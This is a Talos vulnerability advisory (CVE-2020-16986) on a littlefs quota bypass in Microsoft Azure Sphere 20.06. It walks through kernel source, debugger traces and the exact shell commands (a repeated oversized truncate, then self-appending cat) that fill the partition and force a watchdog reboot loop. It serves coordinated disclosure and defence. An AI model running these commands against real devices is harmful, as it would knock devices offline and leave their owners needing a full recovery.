Talos Vulnerability Report

TALOS-2020-1129

Microsoft Azure Sphere Littlefs Quota denial of service vulnerability

SEPTEMBER 23, 2020

CVE NUMBER

CVE-2020-16986

SUMMARY

A denial of service vulnerability exists in the Littlefs Quota functionality of Microsoft Azure Sphere 20.06. A specially crafted set of syscalls can cause a quota bypass and reboot. An attacker can use syscalls to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Microsoft Azure Sphere 20.06

PRODUCT URLS

Azure Sphere - https://azure.microsoft.com/en-us/services/azure-sphere/

CVSSV3 SCORE

9.0 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

CWE

CWE-682 - Incorrect Calculation

DETAILS

Microsoft's Azure Sphere is a platform for the development of internet-of-things applications. It features a custom SoC that consists of a set of cores that run both high-level and real-time applications, enforces security and manages encryption (among other functions). The high-level applications execute on a custom Linux-based OS, with several modifications to make it smaller and more secure, specifically for IoT applications.

One of the optional features that Azure sphere grants to application developers is `MutableStorage`, an extremely fundamental feature for most applications. It should be noted before proceeding that this vulnerability would not apply to applications that only use read-only `asxipfs` storage, however we think it's fair to assume that most applications are going have mutable storage, and thus an issue worth looking at. To define an application with mutable storage, we take an `app_manifest.json` from the Azure Sphere documentation :

```
{
  "SchemaVersion": 1,
  "Name" : "Mt3620App_Mutable_Storage",
  "ComponentId" : "9f4fee77-0c2c-4433-827b-e778024a04c3",
  "EntryPoint": "/bin/app",
  "CmdArgs": [],
   "Capabilities": {
    "AllowedConnections": [],
    "AllowedTcpServerPorts": [],
    "AllowedUdpServerPorts": [],
    "MutableStorage": { "SizeKB": 64 },    //  [1]
    "Gpio": [],
    "Uart": [],
    "WifiConfig": false,
    "NetworkConfig": false,
    "SystemTime": false
  }
}
```

For our purposes, we only really care about the line at [1], as this definition causes a folder on the device to be created at `/mnt/config/<ComponentID>`, in which a file descriptor to the application data can be opened and closed with the `Storage_OpenMutableFile` and `Storage_DeleteMutableFile` functions. Materially, these functions are just wrappers for `open` and `close` on the fore mentioned `/mnt/config/<ComponentID>` folder, so theres nothing really complex with these functions in particular.

Examining this process closer, we see that the `/mnt/config/<ComponentID>` lives on a littlefs partition at `/mnt/config/` which, at least for userland Linux, is the only place mutable data can be stored and backed by a disk looking like so:

```
/dev/mtdblock1 on /mnt/config type littlefs (rw,noexec,noatime)

Filesystem                Size      Used Available Use% Mounted on
/dev/mtdblock1          512.0K     48.0K    464.0K   9% /mnt/config
```

Another aspect we must touch is that of the `SizeKB` field in the previous "app_manifest.json". This hardcoded and developer-chosen `SizeKB` limits the amount of storage taken up by means of littlefs' built-in quota system, and is implemented via an Azure Sphere specific kernel driver at `<kernel_source>/fs/littlefs/quota.c`. To give an example of what this code path looks like when opening and writing 0x4 bytes to a file:

```
*******************************************************************************
99
100     static int littlefs_quota_charge(struct littlefs_sb_info *c, kuid_t uid, int delta_in_bytes, bool ignore_quota_limit)
101     {    <[^.^]
102             struct littlefs_quota_info *info;
103             uint32_t abs_amount = delta_in_bytes < 0 ? delta_in_bytes * -1 : delta_in_bytes;
104             int charge_amount = 2 * ALIGN(abs_amount, c->cfg.block_size);
105             if (delta_in_bytes < 0) {
*******************************************************************************
#0  littlefs_quota_charge (c=0xc0f37400, uid=..., delta_in_bytes=8192, ignore_quota_limit=false) at fs/littlefs/quota.c:101
#1  0xc020f424 in littlefs_quota_charge_file (c=<optimized out>, uid=..., old_size=<optimized out>, new_size=<optimized out>,
ignore_quota_limit=<optimized out>) at fs/littlefs/quota.c:149
#2  0xc020ecfe in littlefs_get_inode (sb=<optimized out>, dir=0xc1403750, name=0xc0f70de1 "/abcdefab-10b8-4b85-ac5f-abcdefabcdef/test",
type=33188) at fs/littlefs/inode.c:1097
#3  0xc020efc8 in littlefs_create (dir_i=<optimized out>, dentry=0xc1c08110, mode=33188, excl=<optimized out>) at fs/littlefs/inode.c:376
#4  0xc019e9ce in lookup_open (opened=<optimized out>, got_write=<optimized out>, op=<optimized out>, file=<optimized out>, path=<optimized
out>, nd=<optimized out>) at fs/namei.c:3235
#5  do_last (opened=<optimized out>, op=<optimized out>, file=<optimized out>, nd=<optimized out>) at fs/namei.c:3328
#6  path_openat (nd=0xc0f70eb8, op=0xc0f70f68, flags=<optimized out>) at fs/namei.c:3552
#7  0xc019f408 in do_filp_open (dfd=<optimized out>, pathname=<optimized out>, op=0xc0f70f68) at fs/namei.c:3587
#8  0xc0194e3a in do_sys_open (dfd=-100, filename=<optimized out>, flags=<optimized out>, mode=<optimized out>) at fs/open.c:1084
#9  <signal handler called>
#10 0xbeab57cc in ?? ()
*******************************************************************************
```

Important to note that a lot of data is actually taken up by even a 0x4 bytes file, due to littlefs' underlying implementation and features (e.g. internal file commits and backups), which is something that developers will discover pretty quickly. Regardless, it's worth noting `sys_open` and `sys_write` are not the only methods of hitting littlefs quota code, any kernel driver code that edits the disk will appropriately hit this code. For our purposes we examine the kernel driver's `file_inode_operations.setattr` method `littlefs_file_setattr`:

```
static int littlefs_file_setattr(struct dentry *dentry, struct iattr *iattr)
{
    struct inode *inode = d_inode(dentry);
    struct littlefs_sb_info *c = LITTLEFS_SB_INFO(inode->i_sb);
    struct littlefs_inode_info *f = LITTLEFS_INODE_INFO(inode);
    int error = 0;

    if (!f) {
        return -ENOENT;
    }

    error = setattr_prepare(dentry, iattr); // permission and sizefit checks
    if (error)
        return error;

    if (iattr->ia_valid & ATTR_UID) {  // [1]
        // [...]
    }

    if (iattr->ia_valid & ATTR_SIZE) { // [2]
        // [...]
    }

}
```

For littlefs' file attributes, there's no xattrs and only `S_IFREG` regular files and `S_IFDIR` directories can be created. This particular `littlefs_file_setattr` only applies to files, not directories, and only really cares about two types of attributes, `ATTR_UID` [1] and `ATTR_SIZE` [2]. Since we'd need `SYS_CAP_CHMOD` in order to change the `ATTR_UID` to a user id that wasn't ours, we ignore that and instead dive further into `ATTR_SIZE`:

```
static int littlefs_file_setattr(struct dentry *dentry, struct iattr *iattr)
{
// [...]
    if (iattr->ia_valid & ATTR_SIZE) {
        int old_size = inode->i_size == 0 ? 1 : inode->i_size;
        int new_size = iattr->ia_size == 0 ? 1 : iattr->ia_size;
        mutex_lock(&c->sem);
        littlefs_debug_print("littlefs_file_setattr attr_size new: %pd, inode->i_uid: %u: old_size: %d, new_size: %d\n", dentry, inode-
>i_uid.val, old_size, new_size);
        error = littlefs_quota_charge_file(c, inode->i_uid, old_size, new_size, false);  // [1]
        if (error) {
            mutex_unlock(&c->sem);
            return error;
        }
        error = lfs_file_truncate(&c->lfs, &f->lfs.file, iattr->ia_size); // [2]
        if (error) {
            mutex_unlock(&c->sem);
            return error;
        }
        truncate_setsize(inode, iattr->ia_size); // [3]
        mutex_unlock(&c->sem);
    }
    setattr_copy(inode, iattr);
    mark_inode_dirty(inode);
    return 0;
}
```

At [1], we can see the quota being appropriately charged, and at [2] the underlying filesystem updates the metadata, commits, etc. occurs (quick note: anything starting with `lfs_*` is forked from the main opensource littlefs project, while any functions starting with `littlefs_*` refer specifically to Azure Sphere's littlefs kernel driver). Finally at [3], the actual filesystem blocks backing the file data is changed. Looking at what the code path looks like in practice:

```
*****************************************************************************
141
142     int littlefs_quota_charge_file(struct littlefs_sb_info *c, kuid_t uid, int old_size, int new_size, bool ignore_quota_limit)
143     {    <[^.^]
144             old_size = ALIGN(old_size, c->cfg.block_size);
145             new_size = ALIGN(new_size, c->cfg.block_size);
146
147             if (old_size != new_size) {
*****************************************************************************
#0  littlefs_quota_charge_file (c=0xc0f37400, uid=..., old_size=1022, new_size=2048, ignore_quota_limit=false) at fs/littlefs/quota.c:143
#1  0xc020e49a in littlefs_file_setattr (dentry=<optimized out>, iattr=0xc0f70ef0) at fs/littlefs/inode.c:666
#2  0xc01a8356 in notify_change (dentry=0xc1c08110, attr=0xc0f70ef0, delegated_inode=0x0) at fs/attr.c:311
#3  0xc0193ff4 in do_truncate (dentry=0xc0f37400, length=<optimized out>, time_attrs=0, filp=<optimized out>) at fs/open.c:63
#4  0xc01941a2 in vfs_truncate (path=0xc0f70f7c, length=4026531840) at fs/open.c:120
#5  0xc019425e in do_sys_truncate (pathname=0x327eddcc "./test", length=4026531840) at fs/open.c:143
#6  <signal handler called>
#7  0xbeab5850 in ?? ()
*****************************************************************************
```

With requisite background covered, let us examine the actual vulnerability. The syscall `truncate` allows one to change the size of a file, positively or negatively to an arbitrary length, and if extended, the file should zero extend. To elaborate on the interaction of quotas and `truncate`, a sample set of shell commands:

```
> pwd
/mnt/config/11111111-2222-3333-4444-555555555555
> ls
> echo asdfffffffffffffffffffffffffffffffffffffffff > asdf.txt
> cat asdf.txt >> asdf.txt &       // [1]
> ls -la
> total 21
drwx------    2 1007     1007             0 Jan  1  1970 .
drwx--x--x    5 sys      appman           0 Jan  1 01:55 ..
-rw-r--r--    1 1007     1007         21298 Jan  1 02:01 asdf.txt
>
> cat: write error: Quota exceeded // [2]
>
> ls -la
total 64
drwx------    2 1007     1007             0 Jan  1  1970 .
drwx--x--x    5 sys      appman           0 Jan  1 01:55 ..
-rw-r--r--    1 1007     1007         65536 Jan  1 02:02 asdf.txt
```

At [1] we cause a file to be repeatedly written to, and at [2] we quickly see the quota being hit, which resulted the expected file size of 64KB, which matches our “app_manifest.json”. Continuing from this same example, any further attempts at writing data are stopped by the quota:

```
> mkdir testdir
mkdir: can't create directory 'testdir': Quota exceeded
> echo test >> asdf.txt
echo: write error: Quota exceeded
> touch test2
touch: test2: Quota exceeded
> truncate -s $(( 0x60000 )) ./asdf.txt
truncate: ./asdf.txt: truncate: Quota exceeded
```

The following case however leads to more interesting results:

```
> truncate -s $(( 0xFFFFFFFE )) ./asdf.txt  // [1]
truncate: ./asdf.txt: truncate: Invalid argument
> touch test2
>
> ls -la
total 64
drwx------    2 1007     1007             0 Jan  1  1970 .
drwx--x--x    5 sys      appman           0 Jan  1 01:55 ..
-rw-r--r--    1 1007     1007         65536 Jan  1 02:08 asdf.txt
-rw-r--r--    1 1007     1007             0 Jan  1  1970 test2
>
> echo "lol" > test2
> cat asdf.txt >> asdf.txt &
> cat: write error: Quota exceeded // [2]
>
> ls -la
total 121
drwx------    2 1007     1007             0 Jan  1  1970 .
drwx--x--x    5 sys      appman           0 Jan  1 01:55 ..
-rw-r--r--    1 1007     1007        122880 Jan  1 02:10 asdf.txt
-rw-r--r--    1 1007     1007             4 Jan  1 02:10 test2
```

At [1], we see an erroneous `truncate` command fail, followed up by a subsequent unexpected success of further writes to disk, finally stopping again at [2] with:

```
> du -hs .
120.5K  .
```

We can again run this erroneous `truncate` command and repeatedly extend the disk quota until the disk totally fills up:

```
> truncate -s $(( 0xFFFFFFFE )) ./asdf.txt
truncate: ./asdf.txt: truncate: Quota exceeded
> truncate -s $(( 0xFFFFFFFE )) ./asdf.txt
truncate: ./asdf.txt: truncate: Quota exceeded
> cat asdf.txt >> asdf.txt
> cat: write error: Quota exceeded
> ls -la
total 265
drwx------    2 1007     1007             0 Jan  1  1970 .
drwx--x--x    5 sys      appman           0 Jan  1 01:55 ..
-rw-r--r--    1 1007     1007        270336 Jan  1 02:14 asdf.txt
-rw-r--r--    1 1007     1007             4 Jan  1 02:10 test2
```

If we now look at the device's `dmesg` output, we see the following lines:

```
[ 1185.884803] Quota is corrupt! -245760 147456, -122880
[ 1188.221429] Quota is corrupt! -245760 0, -122880
[ 1202.978563] Quota is corrupt! -393216 147456, -196608
[ 1203.615753] Quota is corrupt! -393216 0, -196608
```

And if we examine the source code for this error message, we can further investigate the vulnerability:

```
static int littlefs_quota_charge(struct littlefs_sb_info *c, kuid_t uid, int delta_in_bytes, bool ignore_quota_limit)
{
    struct littlefs_quota_info *info;
    uint32_t abs_amount = delta_in_bytes < 0 ? delta_in_bytes * -1 : delta_in_bytes;
    int charge_amount = 2 * ALIGN(abs_amount, c->cfg.block_size);
    if (delta_in_bytes < 0) {
        charge_amount *= -1;
    }

    info = littlefs_get_quota_for_uid(c, uid, true);
    if (info == NULL) {
        return -ENOMEM;
    }

    // Only check if charge is positive (you can always reclaim space),
    // not holding CAP_SYS_RESOURCE which lets you bypass quotas,
    // and enforcement is enabled
    if (charge_amount > 0 &&
        !capable(CAP_SYS_RESOURCE) &&
        info->flags & QC_SPC_HARD) {
        // Check against quota
        if ((info->used_bytes + charge_amount) > info->limit_bytes) {
            if (!ignore_quota_limit) {
                return -EDQUOT;
            } else {
                littlefs_debug_print("Quota deliberately exceeded: %u, %u, %u\n", info->used_bytes, charge_amount, info->limit_bytes);
            }
        }
    }

    // Update accounting
    if (charge_amount < 0 && info->used_bytes < -charge_amount) {
        printk("Quota is corrupt! %d %u, %d", charge_amount, info->used_bytes, delta_in_bytes); //[1]
        info->used_bytes = 0;
        return -EDQUOT;
    }
    info->used_bytes += charge_amount;
    littlefs_debug_print("info->used_bytes: %u, charge_amount: %d, previous used_bytes: %u, uid:%u\n", info->used_bytes, charge_amount,
info->used_bytes - charge_amount, uid.val);

    return 0;
}
```

While the function above is opaque, we do know which branch we're hitting, since the error message is at [1], which means we know the `charge_amount`, `info->used_bytes`, and `delta_in_bytes` fields.

```
[ 1185.884803] Quota is corrupt! -245760 147456, -122880
[ 1188.221429] Quota is corrupt! -245760 0, -122880   // [1]
[ 1202.978563] Quota is corrupt! -393216 147456, -196608
[ 1203.615753] Quota is corrupt! -393216 0, -196608   // [2]
```

Since it looks like the `info->used_bytes` field is getting reset somehow, we set a watchpoint there and try to pinpoint where it's being reset:

```
[^.^]> p info
$11 = (struct littlefs_quota_info *) 0xc0f545c0

[-.-]> p *info
$12 = {uid = {val = 1007}, used_bytes = 147456, limit_bytes = 0, flags = 0, list = {next = 0xc0f54690, prev = 0xc0f6c5e0}}

[o.O]> watch -l *0xc0f545c4
Hardware watchpoint 3: -location *0xc0f545c4

[^.^]> c
Continuing.

Hardware watchpoint 3: -location *0xc0f545c4

Old value = 32768
New value = 0
littlefs_quota_charge (c=<optimized out>, uid=..., delta_in_bytes=-450560, ignore_quota_limit=false) at fs/littlefs/quota.c:140
140     }
```

Which corresponds to the previously seen source at [1]:

```
    // Update accounting
    if (charge_amount < 0 && info->used_bytes < -charge_amount) {
        printk("Quota is corrupt! %d %u, %d", charge_amount, info->used_bytes, delta_in_bytes);
        info->used_bytes = 0;  //[1]
        return -EDQUOT;
    }
```

So in total, doing a truncate with a huge negative size causes the `info->used_bytes` field to reset to 0x0 for unknown reasons, futher allowing us to take up as many bytes as we want on disk as long as we continuously keep resetting `info->used_bytes`.

With the vulnerability detailed, we further explore a possible consequence of this quota bypass. Assuming we fully fill up the `/mnt/config` partition, an interesting state is reached whereby almost any action that writes to disk (basically all possible actions) cause an infinite loop to happen in `lfs_dir_traverse` and the system watchdog to trigger, resetting the system and resulting in a denial of service:

```
[PLUTON] HLOS Watchdog Reset
[1BL] BOOT: 70900000/00000001/01000000
// [...]
[PLUTON] Logging initialized
[PLUTON] Booting HLOS core

[PLUTON] HLOS Watchdog Reset
[1BL] BOOT: 70e00000/00000000/01010000
// [...]
[PLUTON] Logging initialized
[PLUTON] Booting HLOS core
```

Due to the nature of the `/mnt/config` partition's state, even trying to move or remove files from the drive results in the lockup, so the most reliable way to recover from this state is a full device recovery.

TIMELINE

2020-07-24 - Vendor Disclosure
2020-10-06 - Public Release

CREDIT

Discovered by Lilith >_>, Claudio Bozzato and Dave McDaniel of Cisco Talos.
